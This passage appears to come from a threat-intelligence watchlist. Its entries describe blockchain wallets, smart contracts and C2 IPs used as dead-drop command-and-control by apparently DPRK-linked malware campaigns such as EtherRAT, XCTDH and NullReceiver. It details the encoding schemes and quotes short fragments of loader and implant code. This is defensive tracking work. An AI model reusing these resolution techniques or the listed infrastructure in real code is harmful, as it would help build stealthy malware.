(XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: the BSC transaction Ransom-ISAC's part 2 resolves from TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP as Payload1 hash 1. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (130625_0xf7e6cbd4551c45cfeb3f57574f7685dde8ca6be7a6ce5f99cf5ff237a6e51cde_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Ethereum transaction sent at 14:43:11 UTC on 2025-02-07 from 0x9bc1355344b54dedf3e44296916ed15653844509, the owner address already in this watchlist, to the burn address 0x000000000000000000000000000000000000dEaD, carrying 16,256 bytes of calldata and no value. It is one of ten such transactions this site found by enumerating that wallet, of which GTIG lists three; this is one of the seven that appear in no reporting this site is aware of. Its calldata carries the same profile as the three that are reported -- comparable size, and 6.2 to 6.3 bits of entropy per byte, so encoded or encrypted rather than readable. The payload was not decoded and no malware family is asserted for it here: what is established is the sender, the destination, the timing inside the same five-hour window, and the shape.","Ethereum transaction GTIG lists as storing an additional INVISIBLEFERRET credential-stealer payload. Confirmed on-chain at block 21,795,000, again from the watchlisted owner address to the burn address, carrying roughly 27 KB of calldata.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (011025_0xf9fca982ce5a8ae9463f7b469496a2554d0f09c8ca67ca5034de621963673a5e_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","TRON transaction from the pointer address TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP carrying the memo \"Mxy Custom Memo Text\". Crystal Intelligence and Ransom-ISAC use it to show that the address sent to a likely self-custodial address whose counterparties include laundering hubs. That receiving address is not recorded here because the post does not say the operators control it. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x40a7d723f5df6c88464bc95dbf7d96573fbc4f85 (wallet created 2025-12-04); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","…0x22f96d61cf118efabc7c5bf3384734fad2f6ead4 Deployer wallet 0xe941a9b283006f5163ee6b01c1f23aa5951c4c8d Funding wallet 0x14afddd627fb0e039365554f8bbdb881ecb1c708 C2 Servers IP Address Port Purpose 91.215.85.42 3000 Primary C2 (recon, credentials)…","Destination address the NullReceiver resolver wallet paid between 2026-08-22 and 2026-08-27, observed on chain by this site rather than taken from published reporting. Its bytes carry the C2 address in the construction OpenSourceMalware describes: bytes 0-3 and bytes 4-7 both read as 23.27.13.135, and the trailing twelve bytes are the ASCII string \"helloipbot!!\". The watchlisted resolver wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a paid it 48 times over six days in zero-value, zero-calldata transfers, beginning at nonce 179. This is the address that sat between the reported 166.88.134.62 and the later 166.88.73.46, and it appears in no published reporting this site is aware of.","Recipient address of the zero-value or 150 wei transfers that wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 sent between 23 June to 24 June 2026 (55 beacons by Ransom-ISAC's count). It is not a wallet anyone holds keys to: its first six bytes encode 23.27.20.187:80, and the malware reads that endpoint as its C2. Taken from the cited table, not read from chain by this site. Ransom-ISAC labels the campaign DPRK-attributed.","Recipient address of the zero-value or 150 wei transfers that wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 sent between 24 June to 3 September 2026 (1,987 beacons by Ransom-ISAC's count). It is not a wallet anyone holds keys to: its first six bytes encode 23.27.20.187:443, and the malware reads that endpoint as its C2. Taken from the cited table, not read from chain by this site. Ransom-ISAC labels the campaign DPRK-attributed.","Polygon wallet that deployed 9 contracts and writes cryptocurrency-miner configurations to them, each a JSON object (algorithm rx/0, a mining pool and port, CPU limits, and lists of monitoring and security tools to hide from or terminate) XOR-encoded with the single byte 0x5a and published through a DataUpdated(string,string) event. Recovered by this site's hunt of 2026-10-20; the configurations were decoded as text.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x21f9a727e9668a3fc30393a344d8a3a98f4f3b8d (wallet created 2025-11-29); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Address the report lists as an attacker funder wallet for this campaign. Transcribed from the report's own indicator table. Unlike the entries on this page drawn from contracts this site read directly, nothing here has been verified on-chain: the checker could not reach an RPC endpoint from where this was recorded, and a failed query is recorded as failed rather than filled in. Treat it as the report's claim until checked.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x123f12517f1643f0a8897776989f8d440aa76764 (wallet created 2026-01-12); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x8b12e09abb2e5130310b24c75b51c8afd85e8223 (wallet created 2026-01-09); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x6ef160dac69c68461879c0c3486164af07533d17 (wallet created 2025-11-29); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x1a3f8e013c392d8cf6ca5049ee7f437b383f27e1 (wallet created 2026-01-03); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum wallet whose outbound transactions the September 2026 XCTDH implant scans for. A module the malware calls _Z samples recent blocks through public RPC endpoints, looks for transactions whose sender contains 33ff3edaf55a8e03dcbc7cb40d498a49, and decodes an IPv4 address and port from the first six bytes of the recipient address, the same recipient-address encoding OpenSourceMalware published as NullReceiver. Ransom-ISAC reports 2,655 outbound transactions from 23 June 2026 to 21 September 2026, one about every 50 minutes, with the encoded address rotated four times in that window, and calls the technique Hash Hiding. Ransom-ISAC labels the campaign DPRK-attributed and ties it to the same BSC wallet as its October 2025 series. This site's refresh has followed the rotations since: on 2026-10-06 and again on 2026-10-31 the wallet sent a single transaction to the second signal address 0x596dcc9fda875309ff85eba09cf5a97d8c7691bb, and from 2026-11-02 its recipient encodes 95.135.181.25, the host the second address's stages also name.","Aptos account the malware queries when the TRON lookup fails: fallback for TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe. The malware reads the account's latest transaction and takes a BSC transaction hash from payload.arguments[0]. Ransom-ISAC prints some of these as \"Aptos Hash\" in its indicator table; the code it reproduces passes them to the Aptos accounts API, so they are recorded here as accounts. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Polygon wallet that deployed the EtherHiding contract 0xa3a603f8a454a9c905b4c579bb72628f7c15c2a0 and writes its C2 domain.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0xc12c8d8f9706244eca0acf04e880f10ff4e52522 (wallet created 2026-03-30); it writes the C2 with setString and is the key the implant passes to getString(address). Atos's article uses this contract and wallet as its worked example and names the wallet as the one that funded the contract. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","…this explanation, we used one of the contracts used by attackers ( 0xc12c8d8f9706244eca0acf04e880f10ff4e52522) and wallet that funded it ( 0x37ef6e88425613564b2cf8adc496acff4b6481a9).…","Aptos account the malware queries when the TRON lookup fails: fallback for TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH. The malware reads the account's latest transaction and takes a BSC transaction hash from payload.arguments[0]. Ransom-ISAC prints some of these as \"Aptos Hash\" in its indicator table; the code it reproduces passes them to the Aptos accounts API, so they are recorded here as accounts. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Secondary Aptos dead-drop wallet address used as blockchain-based command-and-control infrastructure in the PolinRider campaign: the malware reads transaction data sent to this address, XOR-decrypts it with a hardcoded key, and executes the result as its next-stage payload. Reported by OpenSourceMalware.","Aptos account the malware queries when the TRON lookup fails: fallback for TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG. The malware reads the account's latest transaction and takes a BSC transaction hash from payload.arguments[0]. Ransom-ISAC prints some of these as \"Aptos Hash\" in its indicator table; the code it reproduces passes them to the Aptos accounts API, so they are recorded here as accounts. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Lookup key hardcoded in the EtherRAT sample Hunt.io analysed: the address the implant passes to the resolver contract 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831 to read its C2.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x429929d8fe40d2decf618c4a87721ac2a820ba78 (wallet created 2025-12-11); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x47a397d9d459b05433f0d579e7842442b348ec38 (wallet created 2025-12-20); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Lookup key the npm droppers pass to the resolver contract 0xa1b40044ebc2794f207d45143bd82a1b86156c6b to read their download server.","Wallet that deployed the EtherRAT resolver contract 0xdf0b529043ef7a2bb9111bad26de624a326bacf9 and writes its C2 values; it is also the key the implant passes to getString(address). Listed by The DFIR Report. The DFIR Report published this deployment as EtherRAT in an intrusion that ended in The Gentlemen ransomware and names no nation-state; the DPRK label rests only on Sysdig's attribution of the EtherRAT family, so this entry carries low confidence and should not be read as a DPRK attribution of the intrusion itself.","Second Ethereum signal address of the XCTDH implant, first funded on 2026-10-06 by the watchlisted signal wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 and sending a transaction about every 256 blocks since. The 2026-10-07 XCTDH loader, decoded statically by this site, samples Ethereum blocks five to seven past each multiple of 256 for a transaction sent from an address containing 596dcc9fda875309ff85eba09cf5a97d, and reads that transaction's recipient as four packed pointers of four bytes of BNB Smart Chain block number and one byte of transaction index. Each pointer leads to a BSC transaction whose input carries a script between ?.? markers, XOR-encrypted under a key the previous stage names. Followed by hand on 2026-10-11, the second pointer's script is a socket.io remote-access tool and clipboard and file stealer whose C2 is 154.91.0.20 on port 443 and 166.0.106.182; the first pointer's is a loader for the next stage, and the third pointer's is a Node.js dropper that fetches a Python stage from 166.0.106.182 over HTTP. The third pointer moved on 2026-10-12 to BSC transaction 0x304e337f173d6d4efa3bc6f483e4afe457f01d7f0e51cab39ad05f0f88050ce4, a rebuilt dropper decoded statically the same day that names the same host, now posting to /u/snv and fetching /d/7zr.exe and /d/python.7z, and that checks for Vercel, GitHub runner and cloud hostnames before it runs. The decoding and the chain from this address are this site's own observation, made after Ransom-ISAC's report on the first signal wallet.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x195ab0a6391e2c499321f67ba36ed8f4bdc9f5f4 (wallet created 2025-12-04); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x1cfb457d41b9e5eb6737fde2b590d1f78924aaa8 (wallet created 2026-01-23); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 (wallet created 2025-12-13); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0xe3eda8b518f5d9bc89153f0d29c5ad84c218d8b1 (wallet created 2026-01-19); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Address the report lists as an attacker treasury hub for this campaign. Transcribed from the report's own indicator table. Unlike the entries on this page drawn from contracts this site read directly, nothing here has been verified on-chain: the checker could not reach an RPC endpoint from where this was recorded, and a failed query is recorded as failed rather than filled in. Treat it as the report's claim until checked.","Ethereum Sepolia wallet that owns every HexMage resolver contract Confiant reported: owner-gated TextStorage contracts exposing getText() (selector 0xe00fe2eb) and setText(string), with byte-identical 1,415-byte runtime code (sha256 84a8e7a07890558fe82d53d4d0c8f65341fa4275b627b4466f61997ee2bbbbc5). A checkout page compromised by the cluster loads ethers.js, reads one contract's value over public Sepolia RPC, and turns it into the host that serves a card skimmer. Confiant counted 144 contracts deployed between 2026-03-28 and 2026-07-21; when this site read the wallet on 2026-11-11 it had created 183 contracts, the latest on 2026-11-05. Of those, 49 hold a host in plain base64, 122 hold a salt:iv:ciphertext value sealed with a per-loader password, and 12 hold test strings. The 41 plaintext hosts are the ones Confiant lists; the seven published PhantomPolia passwords, which use the same PBKDF2 and AES-GCM scheme, open none of the sealed values.","Wallet that deployed the EtherRAT resolver contract 0xe26c57b7fa8de030238b0a71b3d063397ac127d3 and writes every C2 rotation to it; it is also the key the implant passes to getString(address). Hokage Vanguard reports it was funded from a ChangeNOW hot wallet minutes before deployment. The exchange wallet is not recorded here, since it serves every ChangeNOW customer.","Ethereum Sepolia wallet that deployed all seven PhantomPolia resolver contracts LevelBlue SpiderLabs reported, and 22 more holding the same encrypted salt:iv:ciphertext configuration behind getText(), in batches on 2026-05-26 and 27, 2026-06-06, 2026-07-27 and 2026-09-10. Each configuration is fixed at deployment and never rewritten, so a new C2 means a new contract. This site decrypted the seven reported configurations with the published passwords and got the seven reported domains; the others need passwords that have not been published. On-chain observation by this site.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x9268cc33d59415b033dc5d709ce30bbe09708fe3 (wallet created 2026-03-23); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Aptos account the malware queries when the TRON lookup fails: fallback for TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF. The malware reads the account's latest transaction and takes a BSC transaction hash from payload.arguments[0]. Ransom-ISAC prints some of these as \"Aptos Hash\" in its indicator table; the code it reproduces passes them to the Aptos accounts API, so they are recorded here as accounts. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca (wallet created 2026-03-03); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum wallet hard-coded into trojanized npm packages reported by OpenSourceMalware as part of the DPRK Contagious Interview campaign. The malware does not read a payload from it. It looks up the wallet's most recent outbound transaction and takes that transaction's destination address, decoding a command-and-control IP out of the address bytes. OpenSourceMalware attributes the activity to the DPRK Contagious Interview campaign and names no UNC cluster, so no UNC5342 attribution is asserted here. The packages named in that reporting are bianira-ui and fluid-type-ui, with five further packages added in a later update. This site enumerated all 285 outbound transactions from this wallet on 2026-09-03 and found the resolved destination rotated three times: 166.88.134.62 from 2026-07-25 to 2026-08-22 across 178 transactions, 23.27.13.135 from 2026-08-22 to 2026-08-27 across 48, and 166.88.73.46 from 2026-08-28 to 2026-09-03 across 58. Only the first appears in the cited reporting; the other two are recorded here from chain data.","…release v1.2.13 (refreshes babel.config.cjs payload, marker A8-3292-2) PolinRider / NullReceiver C2 anchor (Ethereum wallet) 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a Matches the wallet published in the OpenSourceMalware NullReceiver research . File SHA-256 hashes (as they ship on npm today)…","…out the ASCII string \"helloipbot!!\" . In this code block, look for the following: Detection Signature: \"A10-npm3!\" Wallet Address: \"0xa322e5f3d311d3080e6f0121063e9adc2490ef1a\" Blockchain RPC Lookup: [\"https://1rpc.io/eth\", \"https://eth.drpc.org\"] global.i = \"A10-npm3!\", global.r = require, \"object\" ==…","…visanduma/nova-two-factor@dev-using-inertia visanduma/nova-two-factor@dev-nova5 Dead-Drop Resolver Ethereum Sender Address # 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a Resolved C2 IP Addresses # 193.247.144.38 166.88.73.46 166.88.134.62 23.27.13.135 Payload Files #…","…to return, the subsequent child process may not be reached. It is worth noting that we used MistTrack to analyze the malicious address 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a , whose initial funding came from FixedFloat. Press enter or click to view image in full size Three Tools, Three Roles The two…","…, post-css-transfer , scrollbar-hide-plugin , tailwind-animation-founder Tài khoản npm: npmuser1101 , npmuser3002 Ví của kẻ tấn công: 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a IP C&C: 166.88.134.62 , 23.27.13.135 , 166.88.73.46 , 193.247.144.38 , 166.88.134.75 , 91.218.183.174 , 23.27.13.72 Chuỗi tĩnh:…","…Decoded, it is the farm's loader: const SENDER='0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a'.toLowerCase(); const INDEXER_URL='https://eth.blockscout.com/api'; ... const[ip1,ip2]=decodeAddress(match.tx.to); ... await run_loader(new…","Destination address of the NullReceiver lookup transaction as of 2026-09-03, observed on chain by this site rather than taken from published reporting. It is not a wallet anyone holds keys to but a value chosen so its bytes carry the C2 address: bytes 0-3 and bytes 4-7 both read as 166.88.73.46, and the trailing twelve bytes are the ASCII string \"helloipbot!!\", the same construction OpenSourceMalware describes for the address it reported. It was paid by the watchlisted resolver wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a at nonce 284 in a zero-value, zero-calldata transfer mined at 2026-09-03T03:10:11Z, which is the transaction the malware would resolve. The transaction was read by scripts/check-etherhiding-contracts.js and re-fetched by hash from a second independent RPC provider, which returned the same sender and recipient.","Destination address of the NullReceiver lookup transaction, which is not a wallet anyone holds keys to but a value chosen so its bytes carry the C2 address. Decoding it byte by byte reproduces exactly what the reporting describes: bytes 0-3 and bytes 4-7 both read as 166.88.134.62, and the trailing twelve bytes are the ASCII string \"helloipbot!!\". A zero-value, zero-data transfer to an address like this is the cheapest and least remarkable transaction shape on the network, which is the property the technique is built around.","…Attacker Ethereum Wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a NullReceiver-Encoded Recipient Address 0xa658863ea658863e68656c6c6f6970626f742121 C2 Infrastructure 166.88.134.62:443 166.88.134.62:80","Destination address of the NullReceiver lookup transaction from 2026-09-17 onwards, still current when this entry was written on 2026-09-20, observed on chain by this site rather than taken from published reporting. It is not a wallet anyone holds keys to but a value chosen so its bytes carry the C2 address: bytes 0-3 and bytes 4-7 both read as 166.88.134.75, and the trailing twelve bytes are the ASCII string \"helloipbot!!\", the same construction OpenSourceMalware describes for the address it reported. It was paid by the watchlisted resolver wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a at nonce 373 in a zero-value, zero-calldata transfer mined at 2026-09-17T10:35:35Z, the first of 33 such transfers to this destination, and it is the transaction the malware would resolve. The transaction was read from a public Ethereum RPC node and its sender, recipient and nonce re-fetched from a second independent provider, which returned the same values.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0xb6083fa2323a15358037b64325a7ead4f92fa081 (wallet created 2026-03-18); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Recipient address of the zero-value or 150 wei transfers that wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 sent between 3 to 7 September 2026 (111 beacons by Ransom-ISAC's count). It is not a wallet anyone holds keys to: its first six bytes encode 181.214.149.147:443, and the malware reads that endpoint as its C2. Taken from the cited table, not read from chain by this site. Ransom-ISAC labels the campaign DPRK-attributed.","Primary Aptos dead-drop wallet address used as blockchain-based command-and-control infrastructure in the PolinRider campaign: the malware reads transaction data sent to this address, XOR-decrypts it with a hardcoded key, and executes the result as its next-stage payload. Reported by OpenSourceMalware.","Aptos account the malware queries when the TRON lookup fails: fallback for TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP. The malware reads the account's latest transaction and takes a BSC transaction hash from payload.arguments[0]. Ransom-ISAC prints some of these as \"Aptos Hash\" in its indicator table; the code it reproduces passes them to the Aptos accounts API, so they are recorded here as accounts. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x3f35e6fbe1098f0685137ab81189e891939825af (wallet created 2026-03-06); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Destination address of the NullReceiver lookup transaction between 2026-09-04 and 2026-09-17, observed on chain by this site rather than taken from published reporting. It is not a wallet anyone holds keys to but a value chosen so its bytes carry the C2 address: bytes 0-3 and bytes 4-7 both read as 193.247.144.38, and the trailing twelve bytes are the ASCII string \"helloipbot!!\", the same construction OpenSourceMalware describes for the address it reported. It was paid by the watchlisted resolver wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a at nonce 288 in a zero-value, zero-calldata transfer mined at 2026-09-04T00:49:11Z, the first of 85 such transfers to this destination, and it is the transaction the malware would resolve. The transaction was read from a public Ethereum RPC node and its sender, recipient and nonce re-fetched from a second independent provider, which returned the same values.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0xae35eb8fa62b2ccbb88a495ec7fd1e2f2b4a170e (wallet created 2026-02-03); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x61a817da8c6b0b3b2d2d6d0a99d2168311349576 (wallet created 2026-02-04); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","BNB Smart Chain wallet that wrote the SectopRAT configuration to 0xb11613acf39ad3b4dde427c27068d278fafa8998 on 2026-09-16, and the same kind of encrypted START...FINISH configuration, through the same function (0x3d7403a3), to 5 other contracts it deployed: 0x4d12cffca41a212086f3d43bb37db32393eeb8bb, 0xf4852d108394a87c5a595d522683be586cf0cb4f, 0x0dc18c881a46e37de9703c390535cdb285d37a16, 0xdd31210b5b128fe7adc0298d5c6a6db2c7277c46, 0x1088cd8bb283bc88e72bf74d26c817a232b177db. Found by this site's EtherHiding hunt on 2026-10-12, which follows the wallet that writes a watchlisted contract.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4 (wallet created 2025-12-05); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","…Field Value Contract address 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4 Deployer wallet 0xe941a9b283006f5163ee6b01c1f23aa5951c4c8d Funding wallet 0x14afddd627fb0e039365554f8bbdb881ecb1c708 Deployment block 23,948,742 Deployment time…","…queries a smart contract at address 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4 using function selector 0x7d434425 with parameter 0xE941A9b283006F5163EE6B01c1f23AA5951c4C8D: const j = \"0x22f96d61cf118efabc7c5bf3384734fad2f6ead4\" ; // Contract address const k = \"0xE941A9b283006F5163EE6B01c1f23AA5951c4C8D\" ;…","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x8a7c8497991dea66910e70979a5961aee347ff50 (wallet created 2025-12-17); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x97851ae6b1e2970c030dd7d8f70d9832acfb30fd (wallet created 2025-11-30); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Polygon wallet that deployed the configuration contract 0xf55bea1fdcf1c3abb39ab92567c09ac1bff6753e on 2026-04-27 and wrote its six setConfig values through 2026-09-19. It also deployed 0x1c4454ed4582f0dd74bf1e37171e3109dffc62a6 on 2026-04-20. On-chain observation by this site.","Wallet that Atos's appendix pairs with the EtherRAT resolver contract 0x97851ae6b1e2970c030dd7d8f70d9832acfb30fd (wallet created 2025-11-29); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Wallet that Atos's appendix pairs with the EtherRAT 